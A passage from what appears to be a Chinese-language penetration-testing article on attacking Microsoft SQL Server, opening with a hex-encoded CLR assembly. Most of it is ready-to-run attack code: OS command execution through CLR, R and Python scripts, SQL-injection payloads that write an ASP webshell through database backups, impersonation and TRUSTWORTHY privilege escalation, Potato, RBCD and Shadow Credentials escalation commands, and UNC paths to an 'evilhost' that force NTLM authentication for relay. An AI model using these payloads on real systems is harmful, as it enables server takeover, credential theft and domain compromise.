0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003A000D00010049006E007400650072006E0061006C004E0061006D00650000004D007300730071006C0043006C0072002E0064006C006C00000000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000042000D0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000004D007300730071006C0043006C0072002E0064006C006C0000000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000503C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE; GO /* 從程序集 MssqlClr 創建存儲過程 dbo.ExecCommand */ CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) NULL AS EXTERNAL NAME [MssqlClr].[StoredProcedures].[ExecCommand] GO /* 利用創建的存儲過程 dbo.ExecCommand 執行系統命令 */ EXEC dbo.ExecCommand "whoami /all"; /* 利用結束后,先后刪除程序集和存儲過程 */ DROP PROCEDURE [dbo].[ExecCommand]; DROP ASSEMBLY [MssqlClr];

SQL Server R & Python
在 SQL Server 2017 及更高版本中,R 與 Python 一起隨附在機器學習服務中。該服務允許通過 SQL Server 中 sp_execute_external_script 執行 Python 和 R 腳本。
SQL Server R & Python 的利用條件如下:
- ? SQL Server 安裝了機器學習服務或語言擴展
- ? 啟用了外部腳本編寫功能
相關配置方法如下:
/* 啟用外部腳本編寫功能 */ EXEC sp_configure 'external scripts enabled', 1; RECONFIGURE WITH OVERRIDE;
相關利用方法如下:
- ? 利用 R 執行系統命令
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c whoami",intern=T))'
WITH RESULT SETS (([cmd_out] text));
- ? 利用 Python 執行系統命令
EXEC sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
- ? 利用 Python 讀取文件
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
WITH RESULT SETS (([cmd_out] nvarchar(max)))
利用 SQL Server 寫 WebShell
如果運行 SQL Server 的服務器上存在 Web 服務,我們借助通過 SQL Server 內置的存儲過程、數據備份以及日志備份等功能,向 Web 目錄內寫入 WebShell。不過在此之前,我們需要先知道 Web 根目錄的路徑。
尋找 Web 根目錄
針對 SQL Server,我們可以通過以下方法來尋找 Web 根目錄:
- ? 通過
xp_dirtree等存儲過程列目錄
/* 列出 C 盤根目錄下的所有文件夾 */ EXEC master..xp_dirtree 'c:',1 /* 列出 C 盤根目錄下的所有文件夾 */ EXEC master..xp_dirtree 'c:',1,1
在 SQL 注入點處,我們可以先創建一張臨時空表,將查詢的結果插入到表中,最后再查詢這張臨時表來得到結果:
?id=-1;create table temp (dir varchar(8000),num int,num1 int); ?id=-1;insert into temp(dir, num, num1) execute master..xp_dirtree 'c:',1,1
- ? 執行系統命令來尋找
?id=-1;create table temp (dir varchar(8000)); ?id=-1;insert into temp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (*.aspx) do @echo %i'
找到 Web 目錄后,除了利用上一節中涉及到的寫文件方法外,在 SQL Server 中還可以通過差異備份和日志備份來寫入 WebShell。
差異備份 Getshell
差異備份寫 WebShell 的利用條件如下:
- ? 當前用戶權限即可
- ? 知道的 Web 根目錄的路徑
- ? SQL Server 服務運行帳戶對要寫入的目錄有寫入權限
- ? 數據量不能太大
相關利用方法如下,將數據庫備份成 asp/aspx/jsp 等文件:
/* 必須先完整備份一次,FoundStone_Bank 是筆者當前的數據庫名 */
?id=-1;backup database FoundStone_Bank to disk = 'C:\inetpub\wwwroot\public\test.bak';
/* 創建一張臨時表 */
?id=-1;create table [dbo].[test] ([cmd] [image]);
/* 向表中插入一句話 WebShell:<%execute(request("a"))%> */
?id=-1;insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
/* 再次備份,注意路徑 */
?id=-1;backup database FoundStone_Bank to disk='C:\inetpub\wwwroot\public\shell.asp' WITH DIFFERENTIAL,FORMAT;
日志備份 Getshell
相對于差異備份而言,日志備份寫入的 WebShell 體積較小,且多次備份的成功率較高。其利用條件如下:
- ? 當前用戶具有 DBA 權限
- ? 知道的 Web 根目錄的路徑
- ? SQL Server 服務運行帳戶對要寫入的目錄有寫入權限
- ? 數據庫必須被備份過一次
相關利用方法如下,將數據庫日志備份成 asp/aspx/jsp 等文件:
/* 把指定的數據庫激活為還原模式,FoundStone_Bank 是筆者當前的數據庫名 */
?id=-1;alter database FoundStone_Bank set RECOVERY FULL;
/* 創建一張臨時表 */
?id=-1;create table test (cmd image);
/* 先將數據庫日志備份一次 */
?id=-1;backup log FoundStone_Bank to disk = 'C:\inetpub\wwwroot\public' with init;
/* 向表中插入一句話 WebShell:<%execute(request("a"))%> */
?id=-1;insert into test (cmd) values (0x3C25657865637574652872657175657374282261222929253E);
/* 再將數據庫日志備份一次,寫入 WebShell */
?id=-1;backup log FoundStone_Bank to disk = 'C:\inetpub\wwwroot\public\shell.asp';
SQL Server 權限提升
Impersonation Of Other Users
默認情況下,SQL Server 的會話在用戶登錄時開始,在用戶注銷時結束。會話過程中的所有操作都受限于對該用戶進行的權限檢查。當運行 EXECUTE AS 語句時,會話的執行上下文將切換到指定的登錄名或用戶名。上下文切換后,將根據指定的登錄名和用戶安全令牌檢查該帳戶(而非調用 EXECUTE AS 語句的用戶)的權限。實際上,在會話或模塊的執行期間模擬了用戶或登錄帳戶,或顯式恢復了上下文切換。
筆者將上述過程稱作 SQL Server 的用戶模擬。默認情況下,系統管理員可以模擬任何人,但是普通用戶必須被授予 IMPERSONATE 權限才能來模擬特定的用戶。
在實戰中,如果我們接管了某一 SQL Server 帳戶,但是由于權限限制無法執行一些高權限操作。信息收集發現該用戶可以模擬高權限賬戶,那么就可以執行 EXECUTE AS 語句切換到高權限帳戶的上下文,實現垂直提權。
Elevate to sysadmin
如果一個登錄名被授予了模擬 sysadmin 角色登錄名的權限,那么我們可以通過 EXECUTE AS LOGIN 可以模擬這個高權限登錄名,提升至 sysadmin 權限。
(1)首先預設存在漏洞的配置。創建兩個登錄名 LoginUser1 和 LoginUser2,并授予登錄名 LoginUser1 模擬登錄名 LoginUser2 和 SA 的權限。
/* 創建兩個登錄名 LoginUser1 和 LoginUser2 */ USE master; CREATE LOGIN LoginUser1 WITH PASSWORD = 'J345#$)thb'; CREATE LOGIN LoginUser2 WITH PASSWORD = 'Uor80$23b'; GO /* 授予登錄名 LoginUser1 模擬登錄名 LoginUser2 和 SA 的權限 */ USE master; GRANT IMPERSONATE ON LOGIN::[sa] to [LoginUser1]; GRANT IMPERSONATE ON LOGIN::[LoginUser2] to [LoginUser1]; GO
此時使用 LoginUser1 帳戶登錄,發現無法執行 xp_cmdshell 等高權限操作,如下圖所示。

(2)在 LoginUser1 帳戶權限下,新建查詢,執行以下語句查詢當前帳戶可以模擬哪些帳戶。
SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';

從返回結果中可知,LoginUser1 帳戶可以模擬 SA 管理員帳戶。
(3)執行以下語句,切換到 SA 帳戶的上下文,成功提權。
/* 查看模擬前的登錄名以及是否為 sysadmin 角色 */
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
/* 模擬 SA 帳戶 */
EXECUTE AS LOGIN = 'sa';
/* 查看模擬后的登錄名以及是否為 sysadmin 角色 */
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
/* 模擬后成功執行 xp_cmdshell 等高權限操作 */
EXEC master..xp_cmdshell 'whoami';

Elevate to db_owner
如果一個用戶名被授予了模擬 db_owner 角色用戶名的權限,那么我們可以通過 EXECUTE AS USER 可以模擬這個高權限用戶名,提升至 db_owner 權限。
(1)首先預設存在漏洞的配置。創建兩個登錄名 LoginUser1 和 LoginUser2,從這兩個登錄名分別創建用戶名 User1 和 User2。將 User2 帳戶授予 db_owner 角色,LoginUser1 帳戶默認為 public 角色。然后授予用戶名 User1 模擬用戶名 User2 的權限。
/* 創建兩個登錄名 LoginUser1 和 LoginUser2 */ USE master; CREATE LOGIN LoginUser1 WITH PASSWORD = 'J345#$)thb', DEFAULT_DATABASE=FoundStone_Bank; CREATE LOGIN LoginUser2 WITH PASSWORD = 'Uor80$23b', DEFAULT_DATABASE=FoundStone_Bank; GO /* 從這兩個登錄名分別創建用戶名 User1 和 User2 */ USE FoundStone_Bank; CREATE USER User1 FOR LOGIN LoginUser1 WITH DEFAULT_SCHEMA=dbo; CREATE USER User2 FOR LOGIN LoginUser2 WITH DEFAULT_SCHEMA=dbo; GO /* 為 User2 帳戶授予 sysadmin 角色 */ EXEC sp_addrolemember 'db_owner', 'User2'; GO /* 授予用戶名 User1 模擬用戶名 User2 的權限 */ GRANT IMPERSONATE ON USER::[User2] to [User1]; GO
此時使用 LoginUser1 帳戶登錄,發現無法執行任何查詢操作,如下圖所示。

(2)在 User1 帳戶權限下,執行以下語句查詢當前登錄名和用戶名,以及當前用戶名可以模擬哪些帳戶。
/* 查詢當前登錄名和用戶名 */ SELECT SUSER_NAME(), USER_NAME(); /* 查詢當前用戶名可以模擬哪些帳戶 */ SELECT distinct b.name FROM sys.database_permissions a INNER JOIN sys.database_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';

從返回結果中可知,當前登錄名為 LoginUser1,用戶名為 User1,并且 User1 帳戶可以模擬用戶名 User2。
(3)執行以下語句,切換到 SA 帳戶的上下文,成功提權。
/* 查看模擬前的登錄名、用戶名以及是否為 db_owner 角色 */
SELECT SUSER_NAME(), USER_NAME(), IS_ROLEMEMBER('db_owner');
/* 模擬 User2 帳戶 */
EXECUTE AS USER = 'User2';
/* 查看模擬后的登錄名、用戶名以及是否為 db_owner 角色 */
SELECT SUSER_NAME(), USER_NAME(), IS_ROLEMEMBER('db_owner');
/* 模擬后成功執行查詢操作 */
SELECT * FROM fsb_accounts;

Trustworthy
SQL Server 數據庫屬性 TRUSTWORTHY 用于指明 SQL Server 實例是否信任該數據庫以及其中的內容。如果普通用戶在管理員用戶(例如 SA)擁有的數據庫上被賦予 db_owner 角色,并且該數據庫被配置為可信任的,則該用戶可以濫用這些特權來獲得 sysadmin 權限,因為在那里創建的存儲過程可以模擬所有者的上下文執行。
在默認情況下,只有數據庫 msdb 的 TRUSTWORTHY 屬性被設為了 ON。
下面筆者演示相關利用過程。
(1)首先預設存在漏洞的配置。以 SA 帳戶權限創建一個名為 TestDB 的數據庫(此時 TestDB 默認所有者是 SA),并為該數據庫開啟 TRUSTWORTHY 屬性。創建登錄名 LoginUser1,并為其創建用戶名 User1。為用戶名 User1 授予 TestDB 數據庫的 db_owner 角色。
/* 創建一個名為 TestDB 的數據庫,并為該數據庫開啟 TRUSTWORTHY 屬性 */ CREATE DATABASE TestDB; ALTER DATABASE TestDB SET TRUSTWORTHY ON; GO /* 創建登錄名 LoginUser1 */ USE master; CREATE LOGIN LoginUser1 WITH PASSWORD = 'J345#$)thb', DEFAULT_DATABASE=TestDB; GO /* 從這兩個登錄名分別創建用戶名 User1 和 User2 */ USE TestDB; CREATE USER User1 FOR LOGIN LoginUser1 WITH DEFAULT_SCHEMA=dbo; /* 為 User1 帳戶授予 sysadmin 角色 */ EXEC sp_addrolemember 'db_owner', 'User1';
此時使用 LoginUser1 帳戶登錄,發現無法執行 xp_cmdshell 等高權限操作,如下圖所示。

(2)在 User1 帳戶權限下,執行以下語句查詢當前所有開啟了 TRUSTWORTHY 屬性的受信任數據庫。從返回結果中可知,當前數據庫受信任。
SELECT a.name, b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;

然后執行以下語句查詢對當前數據庫的有效角色,從返回結果中可知,當前用戶名即擁有 db_owner 角色。
SELECT rp.name as database_role, mp.name as database_user from sys.database_role_members drm join sys.database_principals rp on (drm.role_principal_id = rp.principal_id) join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

(3)在 User1 帳戶權限下,最后通過創建存儲過程提升至 sysadmin 權限。
/* 創建存儲過程,為當前登錄名授予 sysadmin 角色 */
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'LoginUser1','sysadmin';
/* 執行存儲過程 */
EXEC sp_elevate_me;
/* 查看提權后的登錄名以及是否為 sysadmin 角色 */
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
/* 提權后成功執行 xp_cmdshell 等高權限操作 */
EXEC master..xp_cmdshell 'whoami';

本地特權提升
在 Windows Server 2008 R2 和 Windows 7 之前,安裝的 SQL Server 默認使用本地系統帳戶(NT AUTHORITY\SYSTEM)運行,如果我們拿下了 SQL Server 的權限便可以 SYSTEM 權限執行系統命令。而在之后版本的系統中,SQL Server 會默認將實例名稱用作服務名稱的虛擬帳戶(格式為 NT SERVICE\),并使用虛擬帳戶的權限運行。
“If the default value is used for the service accounts during SQL Server setup, a virtual account using the instance name as the service name is used, in the format NT SERVICE\”。虛擬帳戶是本地服務賬戶(NT AUTHORITY\LOCAL SERVICE)的一種,這就意味著 SQL Server 的運行權限被大幅度降低,如果要開展后滲透的話就必須本地提權。
在本篇文章中,筆者僅介紹三種方法:
- ? SeImpersonatePrivilege
- ? Resource Based Constrained Delegation (RBCD)
- ? Shadow Credentials
SeImpersonatePrivilege
本地服務帳戶所擁有的 SeAssignPrimaryTokenPrivilege 或 SeImpersonatePrivilege 特權意味著可以通過訪問令牌操縱技術實現本地提權。這兩個特權非常強大,允許用戶在另一個用戶的安全上下文中運行代碼甚至創建新進程。“Potato” 家族正是通過濫用 Windows 服務賬戶擁有的這兩項特權,將已獲取的 NT AUTHORITY\SYSTEM 賬戶的訪問令牌傳入 CreateProcessWithTokenW 或 CreateProcessAsUserA 函數進行調用,從而在 NT AUTHORITY\SYSTEM 賬戶的上下文中創建新進程,以提升至 SYSTEM 權限。
在實戰場景中,若通過MSSQL 服務的 xp_cmdshell 成功執行了系統命令,就可以通過 “Potato” 家族提權的方法提升至 SYSTEM 權限。
相關利用方法演示如下:
- ? 通過 JuicyPotato 提升至 SYSTEM 權限(Windows Server 2019 and Windows 10 build 1809 prior version)
JuicyPotato.exe -a whoami

- ? 通過 PrintSpoofer 模擬命名管道客戶端提升至 SYSTEM 權限(Windows Server 2019 and Windows 10 build 1809 onwards, even all versions)
PrintSpoofer.exe -i -c whoami

Resource Based Constrained Delegation (RBCD)
Resource Based Constrained Delegation (RBCD) 即基于資源的約束性委派。關于 RBCD 的細節,請讀者自行閱讀筆者 《淺入深出域委派攻擊》 這篇博客,本文不再贅述。
根據微軟官方文檔的描述 “Services that run as virtual accounts access network resources by using the credentials of the computer account in the format \$”,以虛擬帳戶身份運行的服務通過使用機器帳戶的憑據(格式為 \$)訪問網絡資源。因此,如果是在域環境中,我們完全可以在 SQL Server 虛擬帳戶的上下文中連接到活動目錄,并為當前機器帳戶設置 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性。
由于機器賬戶擁有對自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性的 WriteProperty 權限。相關利用方法演示如下,獲取 SQL Server 權限后,通過 SharpAllowedToAct 在域內添加一個機器賬戶 PENTEST$,并設置 PENTEST$ 到為當前機器帳戶 WIN-MSSQL$ 的基于資源的約束性委派。
SharpAllowedToAct.exe -m PENTEST -p Passw0rd -t WIN-MSSQL -D pentest.com

設置成功后,通過 PENTEST$ 帳戶申請訪問 WIN-MSSQL$ 機器上 CIFS 服務的高權限票據,并最終獲取 WIN-MSSQL$ 的最高權限。

Shadow Credentials
在 Black Hat Europe 2019 大會期間,Michael Grafnetter(@MGrafnetter)討論了針對 Windows Hello for Business 技術的多種攻擊方法,其中包括域持久化技術。該技術涉及修改目標計算機賬戶或用戶帳戶的 msDS-KeyCredentialLink 屬性,以獲得用于檢索 NTLM 哈希值和請求 TGT 票據。關于 Shadow Credentials 的細節,請讀者自行閱讀筆者 《Shadow Credentials》 這篇博客,本文不再贅述。
與設置 msDS-AllowedToActOnBehalfOfOtherIdentity 相似,機器賬戶對自身的 msDS-KeyCredentialLink 屬性擁有 WriteProperty 權限。我們可以在 SQL Server 虛擬帳戶的上下文中連接到活動目錄,為當前機器帳戶 WIN-MSSQL$ 設置 Shadow Credentials,并最終通過 S4U2Self 提升至 SYSTEM 權限。
(1)執行以下命令,通過 Whisker 的向 WIN-MSSQL$ 的 msDS-KeyCredentialLink 屬性添加 Shadow Credentials。
Whisker.exe add /target:WIN-MSSQL$ /domain:pentest.com /dc:dc01.pentest.com

(2)Whisker 的輸出中包含了為 WIN-MSSQL$ 帳戶請求到的證書,我們將該證書 Base64 解密后寫入 win-mssql.pfx,之后可以與 Dirk-jan Mollema(@dirkjanm)的 PKINITtools 一起使用,以通過 KDC 進行身份驗證,請求以 .ccache 格式保存的 TGT 票據。
python3 gettgtpkinit.py -cert-pfx win-mssql.pfx -pfx-pass C2wF94hNDeB6g26r pentest.com/win-mssql\$ win-mssql.ccache

(3)通過 Kerberos 的 S4U2Self 擴展協議,使用已獲取的 WIN-MSSQL$ 帳戶 TGT 為域管理員申請針對 WIN-MSSQL$ 上 CIFS 服務的的 ST 票據。
python3 gets4uticket.py kerberos+ccache://pentest.com\\win-mssql\$:win-mssql.ccache@dc01.pentest.com cifs/win-mssql.pentest.com@pentest.com Administrator@pentest.com Administrator.ccache -v

(4)使用獲取到的 Administrator 用戶的票據,并通過 wmiexec.py 獲取 WIN-MSSQL$ 的最高權限,相關命令如下。
export KRB5CCNAME=/root/PKINITtools/Administrator.ccache python3 wmiexec.py -k pentest.com/Administrator@win-mssql.pentest.com -no-pass

Coerce Authentication
熟悉 NTLM Relay 的讀者都清楚,能讓客戶端向任意服務器發起身份認證意味著什么。通過在 NTLM 認證過程中設置中間人,在客戶端與服務器之間傳遞認證消息,截獲客戶端的認證請求并將其重放到目標服務器,實現無需破解用戶密碼即可獲得訪問相關資源的權限。
在 SQL Server 中,如果一些涉及到文件操作的存儲過程可控,我們可以嘗試將其中的文件路徑換成 UNC 路徑,強制 SQL Server 向任意服務器發起身份認證。并且,由于 SQL Server 默認運行在 Local System 或 Network Service 賬戶下,這就意味著我們 SQL Server 將以本地機器帳戶發起認證請求。雖然機器賬戶默認情況下不允許登錄,但如果是在域環境中,我們可以將這個認證請求中繼到活動目錄,從而修改機器的相關屬性實現本地特權提升。
以下是筆者簡單羅列的幾個可以實現強制認證存儲過程:
/* 通過 SMB 協議發起強制認證 */ EXEC master..xp_fileexist '\\evilhost\share' EXEC master..xp_dirtree '\\evilhost\share' EXEC master..xp_subdirs '\\evilhost\share' EXEC master..xp_create_subdir '\\evilhost\share' EXEC master..xp_delete_file 0,'\\evilhost\share','bak' EXEC master..xp_cmdshell '\\evilhost\share.exe' /* 通過 Webdav(HTTP 協議)發起強制認證 */ EXEC master..xp_fileexist '\\evilhost@80\webdav\test.txt' EXEC master..xp_dirtree '\\evilhost@80\webdav\test.txt' EXEC master..xp_subdirs '\\evilhost@80\webdav\test.txt' EXEC master..xp_create_subdir '\\evilhost@80\webdav\test.txt' EXEC master..xp_delete_file 0,'\\evilhost@80\webdav\test.txt','bak' EXEC master..xp_cmdshell '\\evilhost@80\webdav\test.exe'

在強制身份驗證中,有很多服務可以支持身份驗證,最常利用的服務可能就是 SMB 了。但是,從近幾年攻擊的角度來看,很多時候 SMB 協議并不理想。因為 SMB 協議將導致協商簽名的服務器(例如 LDAP)對 NTLM 認證請求強制簽名,最終導致攻擊失敗。因此,越來越多的黑客將利用的角度轉向了那些不支持簽名的客戶端,例如 HTTP,最常見的就是臭名昭著的 WebDAV。關于 WebDAV 強制認證的細節,請讀者閱讀我的博客:《Privilege Escalation - NTLM Relay over HTTP (Webdav)》
截獲 NTLM 認證請求后,可以將其中繼到 LDAP 服務,為當前機器設置 msDS-KeyCredentialLink 或 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性,并最終通過 Shadow Credentials 或 [RBCD](https://whoamianony.top/domain-delegation-attack/# 基于資源的約束性委派) 等方法特權提升。